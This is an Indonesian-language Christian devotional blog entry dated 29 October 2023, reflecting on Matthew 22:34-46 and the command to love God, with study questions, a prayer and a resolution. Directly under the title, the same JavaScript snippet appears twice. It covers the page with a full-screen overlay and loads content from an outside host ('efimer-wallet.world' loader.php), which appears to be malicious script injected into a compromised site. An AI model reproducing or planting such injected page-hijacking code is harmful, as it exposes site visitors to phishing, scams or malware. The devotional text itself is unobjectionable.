MENGASIHI ALLAH DAN FIRMAN-NYA

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 29 Oktober 2023

Matius 22 : 34 – 46

Pengantar

Menurut Saudara, apakah bukti dari mengasihi itu? Hal apa yang akan kita minta dari orang yang mengaku mengasihi kita? Hari ini kita akan merenungkan tentang sebenarnya seberapa besar kasih kita kepada Allah.

Pemahaman

ay. 34-40 : Mengapa Ahli Taurat ingin menguji Yesus dengan pertanyaan tentang perintah yang terbesar dalam hukum? Apa yang mungkin menjadi niat di balik pertanyaan ini? Bagaimana kita bisa memahami niat sebenarnya dari mereka?

ay. 41-46 : Apakah yang salah dalam pemahaman orang Farisi terkait dengan hubungan antara Mesias dan Daud?

Ada pertanyaan yang seringkali menjadi bahan perdebatan di kalangan orang Yahudi, yaitu adakah teks yang dapat merangkum seluruh hukum Taurat. Tampaknya hal ini yang menjadi latar belakang seorang ahli Taurat mengajukan pertanyaan tersebut kepada Kristus. Dalam ayat 35 dicatat bahwa pertanyaan tersebut bertujuan untuk mencobai Kristus. Pengertian mencobai di sini dapat berarti menguji seberapa luas pengetahuan Kristus terhadap polemik pertanyaan tersebut, atau dapat pula dalam pengertian untuk mengetahui Kristus berpegang pada pendapat yang mana. Namun pada akhirnya Kristus mampu memberikan jawaban yang tepat. Hal yang menarik adalah dalam kitab Matius tanya jawab ini dilanjutkan dengan catatan tentang pertanyaan Kristus mengenai hubungan Mesias dengan Daud.

Dalam pertanyaan itu Kristus tidak bertanya, “Menurut kamu, siapakah Aku ini?” seperti yang diajukan kepada para muridNya (Mat. 16:13-20), tetapi “Anak siapakah Mesias itu?” Pertanyaan ini menggiring respons sehingga jawabannya adalah “Anak Daud”.

Secara kronologi, dua hari sebelumnya penduduk Yerusalem mengelukan kedatangan Kristus dengan meneriakkan “Hosana bagi Anak Daud” (Mat. 21:9). Dan kemarinnya, kejadian serupa juga terulang, di mana anak-anak menghormati Yesus dengan teriakan “Hosana bagi Anak Daud” (Mat. 21:15, 16). Maka sesungguhnya secara tidak langsung Kristus ingin menegaskan kepada mereka bahwa diri-Nya adalah Mesias

Sayangnya para pemimpin agama itu tidak memiliki pemahaman yang komprehensif terhadap kitab Taurat, sehingga gagal paham tentang kemesiasan Kristus.

Dari sini kita dapat melihat bahwa mengasihi Allah dengan segenap hati, jiwa, dan akal budi itu seharusnya tampak juga dalam kerinduan untuk memahami Kitab Suci dengan baik. Dengan memperhatikan firman Allah, kita mewujudkan cinta kita kepada Allah yang berfirman itu.

Refleksi                                                                 

Seberapa besar kasih kita kepada Allah? Apakah dengan segenap hati, jiwa dan akal budi? Apakah pengakuan kita itu sesuai dengan seberapa banyak kita mengenal firman Allah? Sulit bagi kita untuk menerima pernyataan orang yang mengasihi kita tapi tidak memperhatikan perkataan kita, bukan?

Tekadku

Doa: Bapa surgawi, tolong saya untuk menyelaraskan antara pengakuan mengasihi Engkau dengan kerinduan memperhatikan firman-Mu, amin.

Tindakanku

Saya akan memperhatikan firman Allah sebagai wujud kasih saya kepada Allah.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *